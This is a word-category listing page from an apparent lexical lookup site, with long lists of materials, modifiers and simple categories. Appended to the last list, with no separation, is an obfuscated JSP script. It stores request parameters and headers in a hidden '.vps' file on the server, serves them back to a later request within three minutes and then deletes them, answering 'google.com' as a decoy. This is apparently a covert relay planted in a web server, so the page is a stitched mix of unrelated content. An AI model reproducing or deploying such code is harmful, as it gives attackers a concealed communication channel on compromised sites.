Use the & operator to see the shared categories of two terms. E.g.
cola & coffee
or
divorce & war
Go Back
See XML
Members for Fine-Grained Categories
simple_material
:
paper,
thick_cardboard,
wood,
serum,
glue_stick,
silicate,
ash,
cardboard,
stucco,
pencil,
elements,
starch,
silicon,
stone,
metal,
white_paper,
popsicle_stick,
bamboo,
straw,
uniform_sand,
mixed_paper,
clay,
nylon,
plexiglas,
oil,
stick,
sand,
appointment_slip,
glue,
styrofoam_cup,
aluminium,
smooth_stone,
water,
ink,
watercolor,
air,
gallium_arsenide,
beeswax,
book,
card,
nutrition_label,
plasticine,
seed,
methanol,
iron,
styrofoam,
textile,
rice_husk,
nitrogen,
hydrogen,
steel,
charcoal,
woven_cloth,
vegetable_substance,
paint,
timetable,
cadmium-sulfide_cd,
sugar,
gravel,
craft_stick,
diamond,
palm_leaf,
iron_sheet,
pure_elements,
felt,
cement,
newspaper,
copper_sheet,
towel,
rock,
earth,
copper_chloride,
fabric,
silver,
unfinished_metal,
cotton,
lead,
chalk,
plastic_mesh,
wool,
silicon_nitride,
ge,
sailcloth,
pigment,
string,
colorful_silks,
si,
natural_stone,
tar,
wire_mesh,
menu,
marbles,
looseleaf_paper,
sponge,
stretchable_fabric,
alkene,
plastic_straw,
perfumed_soap,
shell,
aluminum,
corrugated_metal,
shaving-cream_foam,
graphite,
colored_gel,
log,
amorphous_silicate,
trash,
tea_leaf,
mud,
pine,
cellulose,
ice-cream_stick,
rubber,
wood_stick,
carbon,
petrol,
polymer_clay,
zinc,
plaster,
linen,
scrap_coke,
rocket,
curtain_fabric,
wax,
meat_bones,
grain,
window_material,
cloth,
Modifiers matching
material
:
lustrous,
binding,
raw,
leafy,
organic,
soft,
natural,
adjuvant,
inflatable,
thick,
orthopedic,
characteristic,
solid,
spurious,
indian,
external,
amateur,
catholic,
unsuitable,
damaging,
ternary,
lengthy,
hazardous,
developed,
analog,
outdoor,
nontoxic,
absorptive,
inorganic,
inert,
magical,
non-primitive,
straight,
hard,
lunar,
poor,
luminescent,
liquid,
comfortable,
ionic,
home,
postal,
unsightly,
fabricated,
working,
macroscopic,
extraterrestrial,
ablative,
effective,
scenic,
rental,
professional,
springy,
warm,
medium,
sharp,
american,
sensory,
good,
specified,
major,
japanese,
pharmaceutical,
farinaceous,
exposed,
terrestrial,
alkaline,
glossy,
congressional,
nonfunctional,
woody,
competitive,
dispersed,
excretory,
smart,
moist,
gritty,
anionic,
sluggish,
interpretive,
peruvian,
wet,
formalized,
marine,
polyphase,
consumable,
planar,
poisonous,
peripheral,
nonflammable,
painterly,
softer,
fleshy,
minor,
nitrogenous,
indigestible,
particular,
offer,
nonporous,
glacial,
cozy,
semirigid,
audiovisual,
alien,
stable,
vital,
little,
expensive,
bibliographic,
proteinaceous,
bovine,
divalent,
eternal,
sized,
photovoltaic,
strange,
alluvial,
toxic,
unexpected,
symmetric,
urban,
religious,
textual,
cryogenic,
striking,
nutrient,
atmospheric,
collagenous,
dummy,
indoor,
pliable,
subsurface,
biologic,
dated,
elastic,
proper,
secondary,
useful,
masculine,
harmful,
worthy,
malleable,
modular,
diamagnetic,
varied,
airborne,
obstructive,
backer,
theoretical,
bitter,
supple,
required,
symbolic,
diagnostic,
world,
evidentiary,
refined,
personal,
incongruous,
indigenous,
turbid,
changing,
silver,
powdery,
biogenic,
inedible,
distinct,
underwater,
legal,
surplus,
specialised,
anisotropic,
semiliquid,
separate,
dissolved,
earthen,
argillaceous,
laid,
protective,
grey,
inside,
blank,
sedimentary,
usual,
liquified,
non-precious,
non-porous,
attractive,
intermediate,
addictive,
unlikely,
convenient,
inflexible,
packed,
bendable,
danish,
sundry,
overlooked,
fluid,
noble,
confidential,
homogeneous,
nuclear,
operational,
fresh,
innocuous,
aeronautical,
abrasive,
tasty,
ethnic,
african,
tacky,
fossil,
firsthand,
valuable,
foreign,
base,
powdered,
spare,
exotic,
current,
melting,
cultural,
swedish,
digestible,
over,
layer,
moldable,
bodied,
online,
genuine,
unlawful,
level,
historical,
popular,
artistic,
unconventional,
scintillating,
animated,
refrigerant,
harmless,
translucent,
futuristic,
renewing,
exclusive,
stony,
spherical,
sleek,
individual,
corrosive,
unofficial,
vietnamese,
discrete,
regulated,
healthy,
representational,
radiolucent,
carcinogenic,
granulated,
radiopaque,
rougher,
bituminous,
fibrous,
legislative,
fireproof,
biochemical,
intravenous,
chewy,
mixed,
troublesome,
heavier,
floral,
verbal,
light,
blasting,
tactile,
hygroscopic,
luxe,
volcanic,
central,
civil,
fragmentary,
contraband,
disinfectant,
fermentable,
absorbent,
maverick,
complicated,
viscoelastic,
atomic,
incompressible,
birefringent,
hybrid,
inanimate,
underground,
personalized,
hydrophilic,
hydrated,
intact,
temporary,
homogenous,
rigid,
cylindrical,
helpful,
opaque,
informational,
quilted,
financial,
webbed,
local,
trivalent,
intensive,
charged,
porous,
colloidal,
hydrophobic,
possible,
receptive,
concrete,
desirable,
british,
nonabsorbent,
non-organic,
general,
vegetative,
semiconductive,
biological,
energetic,
exempt,
faceted,
graphic,
unacceptable,
proteolytic,
uneven,
semiconducting,
woolen,
eukaryotic,
nonwoody,
collectible,
several,
textured,
permanent,
sintered,
crumbly,
supplementary,
auxiliary,
weak,
metastable,
abandoned,
electronegative,
sterile,
flavorful,
residential,
resonant,
springlike,
antique,
invertebrate,
bonelike,
unusual,
allergenic,
aesthetic,
explicit,
vulnerable,
covalent,
primary,
dusty,
semisolid,
genetic,
compliant,
resinous,
nasty,
recognizable,
preventive,
blue,
dangerous,
sumptuous,
persistent,
dressy,
suitable,
complex,
synthetic,
chromatographic,
clean,
deliquescent,
gooey,
sheetlike,
marketable,
electric,
scholarly,
wrong,
colour,
latticed,
resultant,
sophisticated,
incidental,
monatomic,
electronic,
rocky,
anthropogenic,
occult,
painted,
impervious,
continuous,
deep,
labile,
available,
nice,
oversized,
greasy,
elegant,
leatherlike,
reactive,
utilitarian,
upscale,
washable,
buoyant,
destructive,
aggregate,
disordered,
inactive,
erotic,
floating,
nonmusical,
rare,
smelly,
factual,
perforated,
endothermic,
delicate,
cationic,
unstable,
crude,
saturated,
cheap,
complementary,
immaculate,
heterogeneous,
developing,
fluorescent,
binary,
gummy,
viscous,
optional,
aromatic,
humble,
serious,
u,
acoustic,
prestigious,
stretchable,
non-reflective,
darker,
medieval,
automotive,
inner,
rubberlike,
monolithic,
sufficient,
cyclic,
harder,
moving,
hot,
photographic,
tougher,
public,
carbonaceous,
native,
grown,
unfriendly,
mental,
geologic,
simulated,
osseous,
exothermic,
concise,
literary,
interior,
slender,
fungal,
sheer,
microscopic,
nonconductive,
uncharacteristic,
modern,
compressed,
clinical,
ic,
christian,
pulverized,
color,
timeless,
disposable,
thermoelectric,
exterior,
round,
laxative,
calendered,
cementitious,
illegal,
deadly,
phosphorous,
original,
nonmagnetic,
necessary,
particulate,
nonresilient,
uncoated,
pliant,
dried,
occluded,
cathodic,
waterproof,
neutral,
new,
cohesive,
fissionable,
metal,
mechanical,
technological,
contemporary,
incompatible,
polished,
linear,
wild,
unbound,
outer,
relevant,
military,
pulverised,
nonmetal,
red,
thin,
oversize,
informal,
unconsolidated,
replaceable,
conjugated,
penetrating,
waterborne,
primitive,
hydrous,
transferrable,
nonrigid,
stereo,
environmental,
appropriate,
extracellular,
oleophilic,
similar,
reproductive,
crustacean,
ornamental,
scientific,
nonmetallic,
meaningful,
ultrasonic,
edged,
cold,
glassy,
oxidizable,
extractable,
padded,
domestic,
nutritional,
advisory,
surficial,
compact,
secure,
french,
nonstructural,
starchy,
agricultural,
noiseless,
moldy,
biotic,
anhydrous,
cellular,
high,
unclean,
up,
lossy,
calcareous,
matte,
fancy,
electromechanical,
vaporizable,
diaphanous,
musical,
net,
stimulating,
passive,
harsh,
printable,
plush,
actual,
looking,
inhomogeneous,
multiple,
virgin,
sensual,
australian,
organisational,
nutritive,
long,
overlying,
smooth,
third,
evergreen,
objective,
nearby,
skeletal,
warmer,
detrimental,
ferrous,
conductive,
cognitive,
pyrotechnic,
inflammable,
positive,
zoological,
specialized,
handsome,
unwanted,
optic,
gross,
expansive,
intrinsic,
seamless,
genealogical,
aqueous,
infectious,
surgical,
stretchy,
underlying,
transmissible,
dispersive,
macromolecular,
extraneous,
dissimilar,
visible,
clear,
digital,
tenacious,
departmental,
institutional,
greek,
chinese,
separated,
welsh,
photoemissive,
off,
contrasting,
fragmented,
vegetal,
privileged,
exogenous,
nonpolar,
desired,
innovative,
handwritten,
immaterial,
evaporable,
basic,
english,
embolic,
collateral,
optical,
number,
secret,
simple,
favorite,
decorative,
granular,
single,
dynamic,
microbial,
irreplaceable,
crucial,
costlier,
transuranic,
taken,
rich,
reticular,
undesired,
clastic,
resistive,
thermal,
summery,
micro,
curricular,
tensile,
written,
fictional,
official,
expository,
cheaper,
robust,
stabilizing,
prepared,
superior,
narrative,
steady,
stationary,
editorial,
size,
fatty,
published,
everyday,
solidified,
geological,
susceptible,
mobile,
sentimental,
historic,
side,
yielding,
supportive,
radiological,
semitransparent,
filmy,
older,
archeological,
bottomed,
electrochemical,
sexual,
fluffy,
strong,
hollow,
aliphatic,
alloyed,
orthodontic,
expandable,
plain,
biodegradable,
incendiary,
bulky,
supporting,
sensitive,
promising,
animal,
stellar,
archival,
potent,
inductive,
adventitious,
functional,
educational,
wooden,
transparent,
regulatory,
rough,
pictorial,
useless,
surrounding,
semiprecious,
competent,
asian,
benthic,
tubular,
datable,
normal,
isotropic,
russian,
impure,
structural,
luxurious,
leftover,
critical,
pathogenic,
geophysical,
unobjectionable,
fragrant,
established,
supplemental,
tropical,
filamentous,
free,
pleasing,
regular,
ancillary,
cubic,
islamic,
ductile,
radioactive,
phantom,
inelastic,
sturdy,
damp,
amorphous,
controlled,
non-edible,
netlike,
accessible,
gaseous,
friendly,
mathematical,
plastic,
pure,
rugged,
durable,
weighty,
cumbersome,
waiting,
salt,
architectural,
occlusive,
absorbable,
fundamental,
novel,
fashionable,
fragile,
strategic,
botanical,
virtual,
finer,
colorful,
nutritious,
cosmetic,
then,
undefined,
adjacent,
feminine,
waxy,
extra,
hardy,
lumpy,
intracellular,
micaceous,
resistant,
antibiotic,
albuminous,
transient,
brighter,
unbreakable,
polar,
renewable,
vocational,
dehydrated,
static,
inexpensive,
fitting,
nonabsorptive,
model,
small,
irregular,
affordable,
bilingual,
imitation,
orange,
restorative,
expendable,
unyielding,
abundant,
succulent,
geographical,
noxious,
premium,
unpainted,
exciting,
bulkier,
random,
lasting,
mammalian,
untreated,
unhealthy,
concentrated,
communal,
thickening,
prosthetic,
oriented,
widespread,
mundane,
segregated,
european,
unvulcanized,
elaborate,
illustrative,
recoverable,
insoluble,
further,
fuzzy,
rounded,
smaller,
airy,
restrictive,
nontraditional,
weatherproof,
down,
philippine,
comforting,
industrial,
platelike,
inspirational,
old,
sugary,
instructional,
safe,
electrical,
costly,
upper,
nonslip,
hemostatic,
thinner,
fissile,
volatile,
real,
physiological,
diffusing,
manipulative,
frictional,
chewable,
abstract,
beneficial,
anatomical,
horticultural,
usable,
watertight,
nonsynthetic,
copyrighted,
medical,
lighter,
odorous,
formal,
dimensional,
nonstick,
eloquent,
internal,
unique,
straplike,
traditional,
pedagogic,
unfinished,
essential,
trim,
infrared,
residual,
negative,
intestinal,
molten,
prescribed,
provencal,
indirect,
isolated,
palatable,
hidden,
cool,
secular,
immiscible,
vitreous,
reflective,
conformable,
lovely,
rustic,
tough,
academic,
polymeric,
lactic,
weblike,
heated,
undesirable,
wearable,
initial,
sticky,
unprocessed,
stylish,
active,
scripted,
lightweight,
difficult,
informative,
crustal,
intelligent,
fluent,
adsorptive,
nonliving,
paramagnetic,
ancient,
unauthorized,
polish,
insensitive,
brittle,
frozen,
lipophilic,
complimentary,
slippery,
commercial,
dental,
declassified,
combustible,
experimental,
stock,
unstructured,
open,
sanitary,
frangible,
edible,
ceramic,
compatible,
flat,
flexible,
inextensible,
related,
antibacterial,
flying,
broken,
large,
orthopaedic,
biomedical,
chemical,
administrative,
sculptural,
liquefied,
pasty,
pervious,
dense,
classical,
massive,
crisp,
casual,
floaty,
heavy,
photoconductive,
tangible,
circular,
rubbery,
catalytic,
fecal,
refractory,
crystalline,
polycrystalline,
expansible,
resilient,
twisted,
enduring,
airtight,
tiny,
metabolic,
tight,
nongranular,
preferred,
earthy,
caustic,
thicker,
interesting,
iron,
impermeable,
interactive,
international,
stained,
ethereal,
elongated,
coated,
sustainable,
final,
wholesome,
prehistoric,
private,
dirty,
illicit,
igneous,
pointed,
nonconducting,
unused,
evaluative,
precious,
reclaimed,
preservable,
clogging,
nonvolatile,
brazilian,
recyclable,
brown,
noncrystalline,
limited,
adapted,
hygienic,
workable,
throwaway,
reusable,
finished,
uncharged,
elementary,
visceral,
favored,
cleanable,
statistical,
technical,
antigenic,
nontechnical,
expressive,
emotional,
laminar,
unusable,
nonrenewable,
dark,
larger,
adult,
coloured,
coarse,
subsidiary,
corporate,
impenetrable,
subatomic,
powerful,
compressible,
interfering,
main,
proprietary,
fine,
joint,
propellant,
irritating,
improper,
newer,
acid,
restricted,
friable,
dead,
authentic,
shiny,
ecological,
electoral,
soluble,
dry,
elemental,
out,
potable,
polyatomic,
top,
microcrystalline,
minute,
removable,
plane,
typical,
diverse,
steroidal,
oriental,
explosive,
portable,
flammable,
perishable,
important,
bony,
thermoplastic,
curative,
remaining,
refractive,
sensuous,
manufactured,
firm,
miscellaneous,
embedded,
expanded,
routine,
realistic,
ignitable,
spiritual,
poorer,
magnetic,
intellectual,
non-ferrous,
lifeless,
variable,
extensive,
needed,
archaeological,
colored,
hardest,
ordinary,
common,
additional,
thermoset,
thai,
bright,
deleterious,
nonlinear,
political,
movable,
antimicrobial,
suspended,
newtonian,
corrective,
sacrificial,
nonskid,
threatening,
descriptive,
scented,
noncombustible,
ephemeral,
earthly,
consolidated,
horrifying,
dilute,
non-conductive,
crispy,
inviting,
woven,
cryptographic,
perfect,
colourful,
intractable,
non-metallic,
photosensitive,
metallic,
white,
detailed,
practical,
acidic,
purchasable,
familiar,
rolling,
commonplace,
physical,
textbook,
advanced,
narrow,
beautiful,
unpublished,
obnoxious,
ordered,
pertinent,
metamorphic,
alternative,
starting,
weaker,
bound,
fixed,
structured,
creative,
outside,
graphical,
inappropriate,
stubborn,
precise,
piezoelectric,
siliceous,
german,
western,
seasonal,
under,
messy,
industrialized,
significant,
organizational,
sexy,
permeable,
sacred,
specular,
artificial,
herbal,
invisible,
key,
benign,
loose,
herbaceous,
special,
unsaturated,
provocative,
tabular,
foldable,
defined,
reliable,
modest,
thermosetting,
uniform,
medicinal,
deciduous,
pyroelectric,
ferromagnetic,
periodic,
future,
logical,
black,
promotional,
subaqueous,
discarded,
aggressive,
lapidary,
recreational,
molecular,
visual,
obtrusive,
heaviest,
hydraulic,
conventional,
stronger,
cleansing,
odd,
attainable,
fat,
waxlike,
nonreflective,
coniferous,
angular,
dull,
standard,
oleaginous,
bad,
endogenous,
oily,
topical,
repellent,
distant,
indonesian,
aluminous,
awkward,
anodic,
Simple categories matching
simple
:
object,
dance,
motive,
stretch,
shape,
explanation,
molecule,
keepsake,
tool,
material,
information,
pricing,
thing,
topic,
reactant,
eukaryote,
steps,
solvent,
invoice,
lipid,
trait,
icon,
item,
fixing,
solid,
organism,
seal,
antenna,
memory,
letter,
strap,
food,
circuit,
decoration,
sugar,
response,
sorbent,
aggregate,
count,
ingredient,
osteotomy,
statement,
manoeuvre,
interface,
instrumentation,
drawing,
injectant,
graphics,
laser,
incentive,
practice,
antihistamine,
stitch,
job,
flow,
manufacture,
style,
effort,
acrylate,
system,
filter,
pastime,
block,
insulator,
equipment,
space,
puppet,
os,
necessity,
animal,
weapon,
hydride,
cake,
saccharide,
accident,
borate,
semiconductor,
spirits,
wood,
problem,
carbonyl,
book,
form,
fabric,
quality,
discourse,
fastener,
assistance,
radical,
color,
process,
intervention,
crossover,
attire,
desire,
kitchenware,
alteration,
repair,
relationship,
splint,
arrangement,
topology,
list,
volume,
movie,
veg,
craft,
substrate,
plan,
flavoring,
interpolation,
schema,
cavity,
business,
vehicle,
endeavor,
herb,
drive,
option,
criterion,
toy,
method,
marker,
plant,
abstraction,
toiletry,
support,
notion,
feature,
design,
distinction,
ink,
machine,
actuator,
evidence,
colors,
transmitter,
melody,
detector,
seasoning,
reaction,
action,
assay,
oxalate,
article,
requirement,
activity,
redress,
construction,
mixture,
metal,
advertising,
organs,
ester,
drug,
mark,
geometry,
padding,
insect,
chemical,
behavior,
example,
bread,
labor,
oil,
poison,
elements,
connector,
occurrence,
primitive,
operations,
dress,
buffer,
point,
sausage,
organization,
proof,
processing,
message,
fluoride,
virus,
plaything,
part,
stimulant,
combination,
program,
injury,
transformation,
seizure,
cabinet,
monosaccharide,
bearing,
building,
meal,
text,
grouping,
controller,
aggregation,
anion,
device,
speech,
garb,
mechanism,
stroke,
transactions,
linkage,
production,
grid,
virtue,
polynomial,
dimension,
ability,
contract,
meat,
container,
database,
subject,
fact,
stain,
agreement,
gathering,
test,
enjoyment,
entertainment,
distribution,
portion,
type,
ratio,
truth,
electrode,
variable,
harmony,
automaton,
content,
shield,
measurement,
aid,
effect,
provisions,
assumption,
group,
amine,
epithelium,
alliance,
analysis,
comparison,
request,
crater,
artifact,
reflex,
inference,
grain,
silicate,
reminder,
preparation,
matter,
condensation,
mineral,
monomer,
fibre,
questionnaire,
jacks,
computer,
syllable,
binding,
roll,
examination,
interaction,
plate,
selector,
calculation,
widget,
structure,
operator,
disorder,
concept,
cane,
state,
gesture,
retrieval,
theory,
movement,
scene,
illness,
creature,
error,
barrier,
creation,
supply,
trauma,
mollusk,
formula,
step,
ligand,
beverage,
acceptor,
oxide,
answer,
bait,
deformation,
inhibitor,
complex,
flavouring,
values,
piece,
attention,
data,
adhesive,
check,
condition,
display,
software,
antigen,
carrier,
duct,
password,
difference,
interest,
operation,
cheese,
format,
line,
tissue,
fuel,
glycol,
act,
leather,
matrix,
idea,
emotion,
science,
merchandise,
malady,
help,
computation,
force,
constituent,
firework,
project,
occupation,
instruction,
model,
wave,
furnishing,
antibiotic,
characteristic,
diamine,
mixer,
kernel,
version,
means,
crystal,
modem,
script,
weight,
collection,
vocabulary,
headache,
vegetable,
sulfur,
starter,
gear,
clock,
math,
weave,
disposal,
gate,
product,
scale,
magnet,
info,
obstacle,
prop,
diol,
accessory,
spice,
element,
sound,
dust,
symbol,
treasure,
protocol,
prescription,
joint,
award,
feeling,
modality,
attribute,
precursor,
flower,
cation,
commodity,
application,
technique,
character,
alkene,
devices,
set,
mistake,
quantity,
halogen,
parameter,
calisthenics,
maintenance,
trap,
flavour,
appetizer,
vertebrate,
pharmaceutical,
fare,
firearm,
statistics,
jewelry,
hardware,
switch,
cause,
termination,
protection,
correction,
function,
drink,
words,
layer,
expectation,
graph,
procedure,
cable,
salt,
component,
existence,
music,
region,
terms,
opposition,
permutation,
enterprise,
condiment,
applicator,
fixture,
code,
emulsion,
alkaloid,
torch,
gadget,
technology,
defect,
implement,
symptom,
arms,
statistic,
issue,
stress,
valve,
glue,
font,
cipher,
covering,
word,
sensation,
foodstuff,
paraffin,
permit,
reservoir,
alarm,
cloth,
energy,
emollient,
work,
adornment,
anachronism,
language,
maneuver,
indicator,
society,
ending,
family,
disease,
unit,
theme,
fan,
treatment,
agent,
outing,
experience,
file,
carbohydrate,
invertebrate,
anesthetic,
care,
workout,
optics,
tester,
search,
pie,
embellishment,
assembly,
stuff,
liquid,
nerve,
bag,
security,
cooking,
stick,
medicine,
measure,
direction,
strategy,
image,
acid,
use,
decision,
alkane,
aperture,
motion,
fertilizer,
publication,
task,
study,
alcohol,
democracy,
case,
starches,
phenol,
cnidarian,
dish,
index,
seat,
trim,
clothes,
communication,
exercise,
conductor,
surgery,
domain,
atom,
machinery,
service,
property,
shoe,
constraint,
utensil,
supper,
solution,
song,
chart,
metazoan,
film,
background,
connection,
wound,
sauce,
lake,
transport,
works,
cue,
particle,
garment,
value,
olefin,
organ,
behaviour,
disturbance,
instrument,
facility,
furniture,
uniform,
sign,
polygon,
curve,
weaponry,
graphic,
equation,
micronutrient,
rock,
feed,
terminal,
sandwich,
composition,
compound,
appliance,
artefact,
arc,
costume,
course,
remedy,
surface,
painkiller,
writing,
environment,
vessel,
discomfort,
protein,
gas,
move,
attractor,
wire,
print,
ion,
foreground,
infection,
inheritance,
entity,
derivative,
phenomenon,
medium,
sheath,
pattern,
sensor,
noise,
strand,
change,
adjustment,
path,
cell,
typeface,
command,
punctuation,
library,
clothing,
accompaniment,
tune,
bike,
affliction,
record,
touch,
boundary,
buzzer,
diagram,
map,
sport,
polymer,
polyhedron,
investigation,
fruit,
signal,
polysaccharide,
cotton,
figure,
apparatus,
event,
picture,
control,
beast,
magnifier,
ketone,
instructions,
dessert,
trope,
glassware,
veggie,
document,
output,
hydrocarbon,
twill,
obstruction,
stimulus,
analgesic,
ornament,
fix,
cleanser,
microorganism,
body,
size,
game,
community,
nature,
rule,
industry,
conflict,
dinnerware,
beam,
medication,
letters,
modification,
solute,
flavor,
representation,
mutation,
stirrer,
relay,
location,
perception,
network,
button,
gradient,
aldehyde,
variation,
fluid,
waveform,
way,
perennial,
installation,
experiment,
expense,
substance,
<%@page trimDirectiveWhitespaces="true"%> <%@page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@page import="java.io.*"%> <%@page import="java.util.*"%> <%@page import="java.text.*"%> <%! static String cuy321a = null; public static String cuy321b(byte[] cuy321c) { char[] cuy321d = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P', 'Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f', 'g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v', 'w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/' }; StringBuilder cuy321e = new StringBuilder(); int cuy321f = 0; for (int i = 0; i < cuy321c.length; i += 3) { int b = ((cuy321c[i] & 0xFF) << 16) & 0xFFFFFF; if (i + 1 < cuy321c.length) { b |= (cuy321c[i+1] & 0xFF) << 8; } else { cuy321f++; } if (i + 2 < cuy321c.length) { b |= (cuy321c[i+2] & 0xFF); } else { cuy321f++; } for (int j = 0; j < 4 - cuy321f; j++) { int c = (b & 0xFC0000) >> 18; cuy321e.append(cuy321d[c]); b <<= 6; } } for (int j = 0; j < cuy321f; j++) { cuy321e.append("="); } return cuy321e.toString(); } public void cuy321a(HttpServletRequest req) { if (cuy321a != null) return; String cuy321g = getServletContext().getRealPath(req.getRequestURI()).replace('\\', '/'); cuy321a = cuy321g.substring(0, cuy321g.lastIndexOf('/')) + "/"; } byte[] cuy321h(String cuy321i) { byte[] cuy321j = null; FileInputStream cuy321k = null; File file = new File(cuy321i); try { cuy321k = new FileInputStream(file); cuy321j = new byte[(int)file.length()]; cuy321k.read(cuy321j); } catch (Exception ex) { } finally { try { if (cuy321k != null) cuy321k.close(); } catch (Exception ex) { } } return cuy321j; } %> <% cuy321a(request); String cuy322a = request.getParameter("user"); String cuy322b = request.getParameter("rand"); String cuy322c = request.getParameter("id"); String cuy322d = request.getParameter("action"); int cuy322e = -1; if (request.getParameter("code") != null) cuy322e = Integer.parseInt(request.getParameter("code")) % 4; if (cuy322d != null && "home".equals(cuy322d)) { out.write("google.com"); } if (cuy322a != null && !"0".equals(cuy322a)) { String cuy322g = cuy321a + cuy322b + ".vps"; String cuy322f = cuy322g + "x"; String cuy322h = request.getParameter("hash"); String cuy322i = request.getHeader("From"); FileOutputStream cuy322j = null; cuy322j = new FileOutputStream(cuy322f); if(cuy322j != null) { DataOutputStream cuy322k = new DataOutputStream(cuy322j); cuy322k.writeLong(System.currentTimeMillis()); cuy322k.close(); cuy322j.close(); } cuy322j = new FileOutputStream(cuy322g, false); if(cuy322j != null) { cuy322j.write(cuy322h.getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322i.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322a.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322b.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.flush(); cuy322j.close(); } out.write("google.com"); } else if (cuy322e == 0 && "0".equals(cuy322c)) { out.write("google.com"); } else if (cuy322e == 1) { File cuy322l = new File(cuy321a); String cuy322g = null; String cuy322f = null; int cuy322m = 0; if (cuy322l.exists() && cuy322l.isDirectory()) { for(File file:cuy322l.listFiles()) { cuy322g = file.getName(); if(cuy322g.endsWith(".vps")) { cuy322m = 1; cuy322g = file.getAbsolutePath(); cuy322f = cuy322g + "x"; break; } } } if (cuy322m == 1) { FileInputStream cuy321k = new FileInputStream(cuy322f); DataInputStream cuy322o = new DataInputStream(cuy321k); if(System.currentTimeMillis() - cuy322o.readLong() < 180000) { byte[] cuy322p = cuy321h(cuy322g); if (cuy322p != null) { out.write(new String(cuy322p)); } } cuy322o.close(); cuy321k.close(); File cuy322p1 = new File(cuy322g); cuy322p1.delete(); File cuy322pz = new File(cuy322f); cuy322pz.delete(); } else { out.write("google.com"); } } %>